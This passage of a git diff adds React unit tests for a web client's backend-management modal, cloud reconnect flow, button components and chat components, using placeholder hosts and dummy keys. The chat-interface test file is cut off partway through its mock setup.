+ const updated = stored.find((b: { id: string }) => b.id === backendId);
+ expect(updated).toMatchObject({
+ name: "OHE Prod Renamed",
+ kind: "cloud",
+ });
+ });
+
+ it("closes the edit form when the header close button is clicked", async () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+ delete (window as unknown as Record)
+ .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+ const user = userEvent.setup();
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "Acme Local",
+ host: "http://localhost:9000",
+ apiKey: "old-key",
+ kind: "local",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ await user.click(
+ await screen.findByTestId("manage-backends-edit-Acme Local"),
+ );
+ await screen.findByTestId("edit-backend-modal");
+
+ await user.click(screen.getByTestId("edit-backend-close"));
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("edit-backend-modal"),
+ ).not.toBeInTheDocument();
+ });
+ expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument();
+ });
+
+ it("shows each cloud backend's connected organization so same-named backends are distinguishable", async () => {
+ // Two cloud backends share the same name and host; each API key is bound
+ // to a different org, which is the only thing that tells them apart.
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [
+ { id: "org-acme", name: "Acme Inc" },
+ { id: "org-beta", name: "Beta Co" },
+ ],
+ currentOrgId: "org-acme",
+ });
+ vi.mocked(getCurrentCloudApiKey).mockImplementation(async (backend) => ({
+ orgId: backend?.apiKey === "key-acme" ? "org-acme" : "org-beta",
+ isLegacyKey: false,
+ }));
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "key-acme",
+ kind: "cloud",
+ });
+ ctx.addBackend({
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "key-beta",
+ kind: "cloud",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ // Each otherwise-identical row now surfaces its own bound organization.
+ expect(await screen.findByText("Acme Inc")).toBeInTheDocument();
+ expect(screen.getByText("Beta Co")).toBeInTheDocument();
+ });
+
+ it("labels a cloud backend's personal workspace instead of showing its raw org name", async () => {
+ const personalOrgId = "0b93b5f2-5396-49f2-8d98-61f906184270";
+ vi.mocked(getCloudOrganizations).mockResolvedValue({
+ items: [{ id: personalOrgId, name: `user_${personalOrgId}_org` }],
+ currentOrgId: personalOrgId,
+ });
+ vi.mocked(getCurrentCloudApiKey).mockResolvedValue({
+ orgId: personalOrgId,
+ isLegacyKey: false,
+ });
+ // /me reports user_id === org_id, so the bound org is the user's personal
+ // workspace and must render the friendly label, not the backend-side name.
+ vi.mocked(getCloudOrganizationMe).mockResolvedValue({
+ orgId: personalOrgId,
+ userId: personalOrgId,
+ role: null,
+ });
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-key",
+ kind: "cloud",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ expect(
+ await screen.findByText("BACKEND$PERSONAL_WORKSPACE"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByText(`user_${personalOrgId}_org`),
+ ).not.toBeInTheDocument();
+ });
+
+ it("does not render an organization line for a local backend", async () => {
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "Acme Local",
+ host: "http://localhost:9000",
+ apiKey: "k",
+ kind: "local",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ expect(
+ await screen.findByTestId("manage-backends-row-Acme Local"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("manage-backends-org-Acme Local"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("captures backend_added with source manage_backends_modal when adding from here", async () => {
+ const user = userEvent.setup();
+ renderWithProviders( );
+
+ await user.click(await screen.findByTestId("manage-backends-add"));
+ await screen.findByTestId("add-backend-modal");
+ await user.click(screen.getByTestId("add-backend-option-agent-server"));
+
+ await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "http://localhost:8000",
+ );
+ await user.type(screen.getByTestId("add-backend-api-key"), "sk-local");
+ await user.click(screen.getByTestId("add-backend-submit"));
+
+ await waitFor(() =>
+ expect(captureMock).toHaveBeenCalledWith(
+ "backend_added",
+ expect.objectContaining({ source: "manage_backends_modal" }),
+ ),
+ );
+ });
+
+ it("does not capture backend_added when editing an existing backend", async () => {
+ const user = userEvent.setup();
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "Acme Local",
+ host: "http://localhost:9000",
+ apiKey: "old-key",
+ kind: "local",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ await user.click(
+ await screen.findByTestId("manage-backends-edit-Acme Local"),
+ );
+ await screen.findByTestId("edit-backend-modal");
+ const hostInput = screen.getByTestId("edit-backend-host");
+ await user.clear(hostInput);
+ await user.type(hostInput, "http://localhost:9999");
+ await user.click(screen.getByTestId("edit-backend-submit"));
+
+ await waitFor(() =>
+ expect(
+ screen.queryByTestId("edit-backend-modal"),
+ ).not.toBeInTheDocument(),
+ );
+ expect(captureMock).not.toHaveBeenCalledWith(
+ "backend_added",
+ expect.anything(),
+ );
+ });
+ it("uses Cloud reconnect recovery controls when locked to Cloud", async () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+ const user = userEvent.setup();
+ vi.spyOn(window, "open").mockReturnValue({
+ closed: false,
+ close: vi.fn(),
+ location: { href: "" },
+ } as unknown as Window);
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "expired-token",
+ kind: "cloud",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ expect(
+ await screen.findByRole("heading", {
+ name: "BACKEND$RECONNECT_CLOUD_TITLE",
+ }),
+ ).toBeInTheDocument();
+ expect(screen.queryByTestId("manage-backends-add")).not.toBeInTheDocument();
+
+ const reconnectButton = await screen.findByTestId(
+ "manage-backends-reconnect-cloud-login-button",
+ );
+ expect(reconnectButton).toHaveTextContent("BACKEND$RECONNECT_CLOUD");
+
+ await user.click(reconnectButton);
+ expect(deviceFlowMocks.startDeviceFlow).toHaveBeenCalledWith(
+ "https://app.all-hands.dev",
+ );
+ });
+
+ it("updates the locked Cloud backend token when reconnect succeeds", async () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+ deviceFlowMocks.pollForToken.mockResolvedValue({
+ access_token: "fresh-cloud-token",
+ token_type: "Bearer",
+ });
+ const user = userEvent.setup();
+ vi.spyOn(window, "open").mockReturnValue({
+ closed: false,
+ close: vi.fn(),
+ location: { href: "" },
+ } as unknown as Window);
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "expired-token",
+ kind: "cloud",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ await user.click(
+ await screen.findByTestId(
+ "manage-backends-reconnect-cloud-login-button",
+ ),
+ );
+
+ await waitFor(() => {
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ expect(stored).toEqual(
+ expect.arrayContaining([
+ expect.objectContaining({
+ name: "OpenHands Cloud",
+ apiKey: "fresh-cloud-token",
+ }),
+ ]),
+ );
+ });
+ expect(
+ screen.queryByTestId("manage-backends-reconnect-cloud-auth-modal"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("keeps locked Cloud recovery open when reconnect authorization fails", async () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+ deviceFlowMocks.pollForToken.mockRejectedValue(
+ new Error("Authorization request was denied."),
+ );
+ const user = userEvent.setup();
+ vi.spyOn(window, "open").mockReturnValue({
+ closed: false,
+ close: vi.fn(),
+ location: { href: "" },
+ } as unknown as Window);
+
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "expired-token",
+ kind: "cloud",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ await user.click(
+ await screen.findByTestId(
+ "manage-backends-reconnect-cloud-login-button",
+ ),
+ );
+
+ expect(
+ await screen.findByTestId("manage-backends-reconnect-cloud-auth-error"),
+ ).toHaveTextContent("Authorization request was denied.");
+ expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument();
+ });
+
+ it("hides the Cloud reconnect controls when the locked backend uses cookie auth", async () => {
+ // Arrange: an OHE-hosted Canvas — locked to Cloud, but the backend is
+ // authenticated by the main-app session cookie, not a device-flow key.
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+
+ // Act
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "",
+ kind: "cloud",
+ authMode: "cookie",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ // Assert
+ expect(
+ await screen.findByRole("heading", { name: "BACKEND$MANAGE_TITLE" }),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("manage-backends-reconnect-cloud-login-button"),
+ ).not.toBeInTheDocument();
+ expect(screen.queryByTestId("manage-backends-add")).not.toBeInTheDocument();
+ });
+
+ it("does not offer the device-flow login for a logged-out cookie-auth backend", async () => {
+ // Arrange: the main-app session cookie has expired, so the Cloud probe
+ // reports the backend as logged out.
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+ vi.mocked(getCloudOrganizations).mockRejectedValue(
+ Object.assign(new Error("Unauthorized"), {
+ isAxiosError: true,
+ response: { status: 401 },
+ }),
+ );
+
+ // Act
+ renderWithProviders(
+ {
+ ctx.addBackend({
+ name: "OpenHands Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "",
+ kind: "cloud",
+ authMode: "cookie",
+ });
+ }}
+ >
+
+ ,
+ );
+
+ // Assert
+ await waitFor(() =>
+ expect(
+ screen.getByTestId("manage-backends-status-OpenHands Cloud"),
+ ).toHaveTextContent("BACKEND$LOGGED_OUT"),
+ );
+ expect(
+ screen.queryByTestId(/^manage-backends-login-.*-login-button$/),
+ ).not.toBeInTheDocument();
+ });
+});
+
+function renderInQueryClient(ui: React.ReactElement) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+ {ui} ,
+ );
+}
+
+const cloudBackend: Backend = {
+ id: "backend-cloud",
+ name: "Acme Cloud",
+ host: "https://app.acme.com",
+ apiKey: "sk-test",
+ kind: "cloud",
+};
+
+// Focused coverage for the two components extracted out of this file. The
+// ManageBackendsModal suite above already exercises them through the modal;
+// these assert behavior unique to each extracted component, rendered without
+// ActiveBackendProvider so no seeded-backend health probe interferes.
+describe("BackendVersion", () => {
+ it("renders no version badge and skips the probe for a non-local backend", () => {
+ // The version probe is gated on `kind === "local"`, so a cloud backend
+ // never fetches or shows a version.
+ renderInQueryClient( );
+
+ expect(
+ screen.queryByTestId(`manage-backends-version-${cloudBackend.name}`),
+ ).not.toBeInTheDocument();
+ expect(getServerInfoMock).not.toHaveBeenCalled();
+ });
+});
+
+describe("BackendRow", () => {
+ it("disables row selection when the backend is not connected", () => {
+ renderInQueryClient(
+ ,
+ );
+
+ const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+ const selectButton = within(row)
+ .getByText(cloudBackend.name)
+ .closest("button");
+ expect(selectButton).toBeDisabled();
+ });
+
+ it("shows a logged-out cloud status with a log back in button", () => {
+ const onLogin = vi.fn();
+
+ renderInQueryClient(
+ ,
+ );
+
+ expect(
+ screen.getByTestId(`manage-backends-status-${cloudBackend.name}`),
+ ).toHaveTextContent("BACKEND$LOGGED_OUT");
+ expect(
+ screen.queryByTestId(
+ `manage-backends-status-detail-${cloudBackend.name}`,
+ ),
+ ).not.toBeInTheDocument();
+ const loginButton = screen.getByTestId(
+ `manage-backends-login-${cloudBackend.id}-login-button`,
+ );
+ expect(loginButton).toHaveAccessibleName("BACKEND$LOG_BACK_IN");
+ expect(loginButton).not.toHaveTextContent("BACKEND$LOG_BACK_IN");
+ expect(loginButton.querySelector("svg")).toBeInTheDocument();
+ expect(loginButton).toHaveClass("hover:bg-interactive-hover");
+ expect(loginButton).not.toHaveClass("border");
+ expect(loginButton).not.toHaveClass("bg-primary");
+ });
+
+ it("shows device authorization in a modal instead of expanding the row", async () => {
+ const user = userEvent.setup();
+ const popup = {
+ closed: false,
+ close: vi.fn(),
+ location: { href: "" },
+ } as unknown as Window;
+ vi.spyOn(window, "open").mockReturnValue(popup);
+
+ renderInQueryClient(
+ ,
+ );
+
+ const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+ await user.click(
+ screen.getByTestId(
+ `manage-backends-login-${cloudBackend.id}-login-button`,
+ ),
+ );
+
+ const modal = await screen.findByTestId(
+ `manage-backends-login-${cloudBackend.id}-auth-modal`,
+ );
+ expect(
+ await within(modal).findByTestId(
+ `manage-backends-login-${cloudBackend.id}-auth-awaiting`,
+ ),
+ ).toBeInTheDocument();
+ expect(
+ within(row).queryByTestId(
+ `manage-backends-login-${cloudBackend.id}-auth-awaiting`,
+ ),
+ ).not.toBeInTheDocument();
+ expect(deviceFlowMocks.startDeviceFlow).toHaveBeenCalledWith(
+ cloudBackend.host,
+ );
+ });
+
+ it("renders edit and remove buttons when the deployment is not locked to a cloud host", async () => {
+ // The repo's .env may set VITE_LOCK_TO_CLOUD; clear it explicitly so this
+ // test exercises the unlocked code path regardless of local env state.
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "");
+ delete (window as unknown as Record)
+ .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+
+ const user = userEvent.setup();
+ const onEdit = vi.fn();
+ const onRemove = vi.fn();
+
+ renderInQueryClient(
+ ,
+ );
+
+ const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+ const editButton = within(row).getByTestId(
+ `manage-backends-edit-${cloudBackend.name}`,
+ );
+ const removeButton = within(row).getByTestId(
+ `manage-backends-remove-${cloudBackend.name}`,
+ );
+
+ expect(editButton).toHaveAccessibleName("BACKEND$EDIT");
+ expect(removeButton).toHaveAccessibleName("BACKEND$REMOVE");
+
+ await user.click(editButton);
+ await user.click(removeButton);
+ expect(onEdit).toHaveBeenCalledTimes(1);
+ expect(onRemove).toHaveBeenCalledTimes(1);
+ });
+
+ it("hides edit and remove buttons when locked to a cloud host via VITE_LOCK_TO_CLOUD", () => {
+ vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com");
+ const onEdit = vi.fn();
+ const onRemove = vi.fn();
+
+ renderInQueryClient(
+ ,
+ );
+
+ const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+ expect(
+ within(row).queryByTestId(`manage-backends-edit-${cloudBackend.name}`),
+ ).not.toBeInTheDocument();
+ expect(
+ within(row).queryByTestId(`manage-backends-remove-${cloudBackend.name}`),
+ ).not.toBeInTheDocument();
+ });
+
+ it("hides edit and remove buttons when locked to a cloud host via window.__AGENT_CANVAS_LOCK_TO_CLOUD__", () => {
+ (
+ window as unknown as Record
+ ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = "https://cloud.example.com";
+
+ renderInQueryClient(
+ ,
+ );
+
+ const row = screen.getByTestId(`manage-backends-row-${cloudBackend.name}`);
+ expect(
+ within(row).queryByTestId(`manage-backends-edit-${cloudBackend.name}`),
+ ).not.toBeInTheDocument();
+ expect(
+ within(row).queryByTestId(`manage-backends-remove-${cloudBackend.name}`),
+ ).not.toBeInTheDocument();
+ // Row identity (name + host) is still rendered so the user can see the
+ // locked backend is selected, just not mutate it.
+ expect(within(row).getByText(cloudBackend.name)).toBeInTheDocument();
+ expect(within(row).getByText(cloudBackend.host)).toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/buttons/circle-plus-check-toggle.test.tsx b/__tests__/components/buttons/circle-plus-check-toggle.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..98fa27147f7374c41319e7215e6fdd599160a7b0
--- /dev/null
+++ b/__tests__/components/buttons/circle-plus-check-toggle.test.tsx
@@ -0,0 +1,122 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import {
+ CirclePlusBadge,
+ CirclePlusCheckToggle,
+} from "#/components/shared/buttons/circle-plus-check-toggle";
+
+describe("CirclePlusBadge", () => {
+ it("renders a decorative plus with hover styles and tooltip", () => {
+ render(
+ ,
+ );
+
+ const plusBadge = screen.getByTestId("automation-plus");
+ expect(plusBadge.tagName).toBe("SPAN");
+ expect(plusBadge).toHaveAttribute("aria-hidden", "true");
+ expect(plusBadge.className).toContain("hover:bg-[var(--oh-interactive-hover)]");
+ expect(plusBadge.className).not.toContain("group-hover/card");
+ });
+});
+
+describe("CirclePlusCheckToggle", () => {
+ it("toggles between plus and checkmark states", async () => {
+ const user = userEvent.setup();
+ const onToggle = vi.fn();
+
+ const { rerender } = render(
+ ,
+ );
+
+ const toggle = screen.getByTestId("skill-toggle");
+ expect(toggle).toHaveAttribute("aria-checked", "false");
+ expect(toggle).toHaveAttribute(
+ "aria-label",
+ "SETTINGS$SKILLS_ENABLE_SKILL",
+ );
+
+ await user.click(toggle);
+ expect(onToggle).toHaveBeenCalledWith(true);
+
+ rerender(
+ ,
+ );
+
+ expect(toggle).toHaveAttribute("aria-checked", "true");
+ expect(toggle).toHaveAttribute(
+ "aria-label",
+ "SETTINGS$SKILLS_DISABLE_SKILL",
+ );
+
+ await user.click(toggle);
+ expect(onToggle).toHaveBeenCalledWith(false);
+ });
+
+ it("shows a remove icon on hover when selected", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ const toggle = screen.getByTestId("skill-toggle");
+ expect(toggle).toHaveAttribute("data-showing-remove", "false");
+ expect(toggle.className).toContain("border-white");
+ expect(toggle.className).not.toContain("bg-white");
+
+ await user.hover(toggle);
+ expect(toggle).toHaveAttribute("data-showing-remove", "true");
+
+ await user.unhover(toggle);
+ expect(toggle).toHaveAttribute("data-showing-remove", "false");
+ });
+
+ it("does not show remove styling for keyboard focus alone", () => {
+ render(
+ ,
+ );
+
+ const toggle = screen.getByTestId("skill-toggle");
+ toggle.focus();
+
+ expect(toggle).toHaveAttribute("data-showing-remove", "false");
+ });
+
+ it("stops click propagation for nested card handlers", async () => {
+ const user = userEvent.setup();
+ const onCardClick = vi.fn();
+ const onToggle = vi.fn();
+
+ render(
+
+
+
,
+ );
+
+ await user.click(screen.getByTestId("skill-toggle"));
+
+ expect(onToggle).toHaveBeenCalledWith(true);
+ expect(onCardClick).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/buttons/copy-to-clipboard.test.tsx b/__tests__/components/buttons/copy-to-clipboard.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5777f584de7531627dec84d701302a787ea8e2d5
--- /dev/null
+++ b/__tests__/components/buttons/copy-to-clipboard.test.tsx
@@ -0,0 +1,40 @@
+import { render, screen } from "@testing-library/react";
+import { test, expect, describe, vi } from "vitest";
+import { CopyToClipboardButton } from "#/components/shared/buttons/copy-to-clipboard-button";
+
+// Mock react-i18next
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ }),
+}));
+
+describe("CopyToClipboardButton", () => {
+ test("should have localized aria-label", () => {
+ render(
+ {}}
+ mode="copy"
+ />
+ );
+
+ const button = screen.getByTestId("copy-to-clipboard");
+ expect(button).toHaveAttribute("aria-label", "BUTTON$COPY");
+ });
+
+ test("should have localized aria-label when copied", () => {
+ render(
+ {}}
+ mode="copied"
+ />
+ );
+
+ const button = screen.getByTestId("copy-to-clipboard");
+ expect(button).toHaveAttribute("aria-label", "BUTTON$COPIED");
+ });
+});
diff --git a/__tests__/components/buttons/copyable-content-wrapper.test.tsx b/__tests__/components/buttons/copyable-content-wrapper.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7c7aaee48ba281f31fced624a2561b16b5062d01
--- /dev/null
+++ b/__tests__/components/buttons/copyable-content-wrapper.test.tsx
@@ -0,0 +1,60 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect } from "vitest";
+import { CopyableContentWrapper } from "#/components/shared/buttons/copyable-content-wrapper";
+
+describe("CopyableContentWrapper", () => {
+ it("should hide the copy button by default", () => {
+ render(
+
+ content
+ ,
+ );
+
+ expect(screen.getByTestId("copy-to-clipboard")).not.toBeVisible();
+ });
+
+ it("should show the copy button on hover", async () => {
+ const user = userEvent.setup();
+ render(
+
+ content
+ ,
+ );
+
+ await user.hover(screen.getByText("content"));
+
+ expect(screen.getByTestId("copy-to-clipboard")).toBeVisible();
+ });
+
+ it("should copy text to clipboard on click", async () => {
+ const user = userEvent.setup();
+ render(
+
+ content
+ ,
+ );
+
+ await user.click(screen.getByTestId("copy-to-clipboard"));
+
+ await waitFor(() =>
+ expect(navigator.clipboard.readText()).resolves.toBe("copy me"),
+ );
+ });
+
+ it("should show copied state after clicking", async () => {
+ const user = userEvent.setup();
+ render(
+
+ content
+ ,
+ );
+
+ await user.click(screen.getByTestId("copy-to-clipboard"));
+
+ expect(screen.getByTestId("copy-to-clipboard")).toHaveAttribute(
+ "aria-label",
+ "BUTTON$COPIED",
+ );
+ });
+});
diff --git a/__tests__/components/chat/btw-messages.test.tsx b/__tests__/components/chat/btw-messages.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..048cefbdcc465ee676f9098a39d2c7c51fdc4259
--- /dev/null
+++ b/__tests__/components/chat/btw-messages.test.tsx
@@ -0,0 +1,70 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it } from "vitest";
+import { BtwMessages } from "#/components/features/chat/btw-messages";
+import { I18nKey } from "#/i18n/declaration";
+import { useBtwStore } from "#/stores/btw-store";
+
+const CONV = "conv-1";
+const entriesFor = (c: string) =>
+ useBtwStore.getState().entriesByConversation[c] ?? [];
+
+describe(" ", () => {
+ beforeEach(() => {
+ useBtwStore.setState({ entriesByConversation: {} });
+ });
+
+ it("renders spinner and no Got it button while pending", () => {
+ useBtwStore.getState().addPending(CONV, "why?");
+ render( );
+ expect(screen.getByText("why?")).toBeInTheDocument();
+ expect(screen.getByTestId("btw-spinner")).toBeInTheDocument();
+ expect(
+ screen.queryByRole("button", {
+ name: I18nKey.CHAT_INTERFACE$BTW_GOT_IT,
+ }),
+ ).toBeNull();
+ });
+
+ it("renders the response and a Got it button that dismisses on click", async () => {
+ const id = useBtwStore.getState().addPending(CONV, "why?");
+ useBtwStore.getState().resolve(CONV, id, "because");
+ const user = userEvent.setup();
+ render( );
+ expect(screen.getByText(/because/i)).toBeInTheDocument();
+ await user.click(
+ screen.getByRole("button", {
+ name: I18nKey.CHAT_INTERFACE$BTW_GOT_IT,
+ }),
+ );
+ expect(entriesFor(CONV)).toEqual([]);
+ });
+
+ it("does not render entries from other conversations", () => {
+ useBtwStore.getState().addPending("other-conv", "not mine");
+ const { container } = render( );
+ expect(container).toBeEmptyDOMElement();
+ });
+
+ it("renders BTW prefix and pending details through translation keys", async () => {
+ useBtwStore.getState().addPending(CONV, "why?");
+ const user = userEvent.setup();
+ render( );
+ expect(
+ screen.getByText(I18nKey.CHAT_INTERFACE$BTW_PREFIX),
+ ).toBeInTheDocument();
+ await user.click(screen.getByRole("button", { name: /expand/i }));
+ expect(
+ screen.getByText(I18nKey.CHAT_INTERFACE$BTW_WAITING_FOR_ANSWER),
+ ).toBeInTheDocument();
+ });
+
+ it("does not render the pending-state translation key once the entry has resolved", () => {
+ const id = useBtwStore.getState().addPending(CONV, "why?");
+ useBtwStore.getState().resolve(CONV, id, "because");
+ render( );
+ expect(
+ screen.queryByText(I18nKey.CHAT_INTERFACE$BTW_WAITING_FOR_ANSWER),
+ ).toBeNull();
+ });
+});
diff --git a/__tests__/components/chat/chat-add-file-button.test.tsx b/__tests__/components/chat/chat-add-file-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6dc767bae01272cc363cb5292aa045108aacf16d
--- /dev/null
+++ b/__tests__/components/chat/chat-add-file-button.test.tsx
@@ -0,0 +1,76 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { ChatAddFileButton } from "#/components/features/chat/chat-add-file-button";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({ data: undefined }),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: undefined }),
+}));
+
+vi.mock("#/hooks/use-conversation-name-context-menu", () => ({
+ useConversationNameContextMenu: () => ({
+ handleShowAgentTools: vi.fn(),
+ handleShowSkills: vi.fn(),
+ handleShowHooks: vi.fn(),
+ systemModalVisible: false,
+ setSystemModalVisible: vi.fn(),
+ skillsModalVisible: false,
+ setSkillsModalVisible: vi.fn(),
+ hooksModalVisible: false,
+ setHooksModalVisible: vi.fn(),
+ systemMessage: null,
+ shouldShowAgentTools: true,
+ shouldShowHooks: false,
+ }),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+ useUserProviders: () => ({ providers: [] }),
+}));
+
+describe("ChatAddFileButton", () => {
+ it("uses the translated aria-label for the plus menu trigger", () => {
+ render( );
+
+ const button = screen.getByTestId("chat-plus-button");
+ expect(button).toHaveAttribute("aria-label", I18nKey.CHAT_INTERFACE$PLUS_MENU);
+ expect(button).toHaveAttribute("aria-haspopup", "menu");
+ });
+
+ it("opens the tools menu and invokes handleFileIconClick from the footer item", async () => {
+ const user = userEvent.setup();
+ const handleFileIconClick = vi.fn();
+
+ render( );
+
+ await user.click(screen.getByTestId("chat-plus-button"));
+ expect(screen.getByTestId("tools-context-menu")).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("add-files-and-images-button"));
+ expect(handleFileIconClick).toHaveBeenCalledTimes(1);
+ });
+
+ it("does not open the menu or invoke the file handler when disabled", async () => {
+ const user = userEvent.setup();
+ const handleFileIconClick = vi.fn();
+
+ render(
+ ,
+ );
+
+ const button = screen.getByTestId("chat-plus-button");
+ expect(button).toBeDisabled();
+
+ await user.click(button);
+ expect(screen.queryByTestId("tools-context-menu")).not.toBeInTheDocument();
+ expect(handleFileIconClick).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/chat/chat-interface.test.tsx b/__tests__/components/chat/chat-interface.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..119c57052b784a8b63ee523aef7d810f976050fd
--- /dev/null
+++ b/__tests__/components/chat/chat-interface.test.tsx
@@ -0,0 +1,1149 @@
+import { afterEach, beforeEach, describe, expect, it, test, vi } from "vitest";
+import {
+ fireEvent,
+ render,
+ screen,
+ waitFor,
+ within,
+} from "@testing-library/react";
+import { MemoryRouter, Route, Routes } from "react-router";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderWithProviders, useParamsMock } from "test-utils";
+import { SUGGESTIONS } from "#/utils/suggestions";
+import { ChatInterface } from "#/components/features/chat/chat-interface";
+import {
+ useConversationId,
+ useOptionalConversationId,
+} from "#/hooks/use-conversation-id";
+import { useErrorMessageStore } from "#/stores/error-message-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { useConfig } from "#/hooks/query/use-config";
+import { useUnifiedUploadFiles } from "#/hooks/mutation/use-unified-upload-files";
+import {
+ SecurityRisk,
+ type ActionEvent,
+ type MessageEvent,
+} from "#/types/agent-server/core";
+import { useEventStore } from "#/stores/use-event-store";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { useLoadOlderEvents } from "#/hooks/use-load-older-events";
+import { useTaskPolling } from "#/hooks/query/use-task-polling";
+import { AgentState } from "#/types/agent-state";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useGoalStore } from "#/stores/goal-store";
+import { act } from "@testing-library/react";
+
+const mockSend = vi.fn();
+vi.mock("#/hooks/use-send-message", () => ({
+ useSendMessage: () => ({ send: mockSend }),
+}));
+
+vi.mock("#/hooks/query/use-config");
+vi.mock("#/hooks/mutation/use-unified-upload-files");
+// Treat the LLM as configured by default so the "not configured" gate/banner
+// stays inert for these tests (its own behavior is covered elsewhere).
+vi.mock("#/hooks/use-llm-configured", () => ({
+ useLlmConfigured: () => ({ isConfigured: true, isLoading: false }),
+}));
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useConversationId: vi.fn(),
+ useOptionalConversationId: vi.fn(),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+ useUserProviders: () => ({
+ providers: [],
+ }),
+}));
+
+vi.mock("#/hooks/use-conversation-name-context-menu", () => ({
+ useConversationNameContextMenu: () => ({
+ isOpen: false,
+ contextMenuRef: { current: null },
+ handleContextMenu: vi.fn(),
+ handleClose: vi.fn(),
+ handleRename: vi.fn(),
+ handleDelete: vi.fn(),
+ }),
+}));
+
+vi.mock("#/hooks/use-load-older-events", () => ({
+ useLoadOlderEvents: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+ useTaskPolling: vi.fn(),
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: vi.fn(() => ({
+ curAgentState: AgentState.AWAITING_USER_INPUT,
+ })),
+ usePlanningAgentState: vi.fn(() => ({
+ localPlanningConversationId: null,
+ curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+ isPlanningAgentRunning: false,
+ })),
+}));
+
+const trackInitialQuerySubmittedMock = vi.fn();
+const trackUserMessageSentMock = vi.fn();
+vi.mock("#/hooks/use-tracking", () => ({
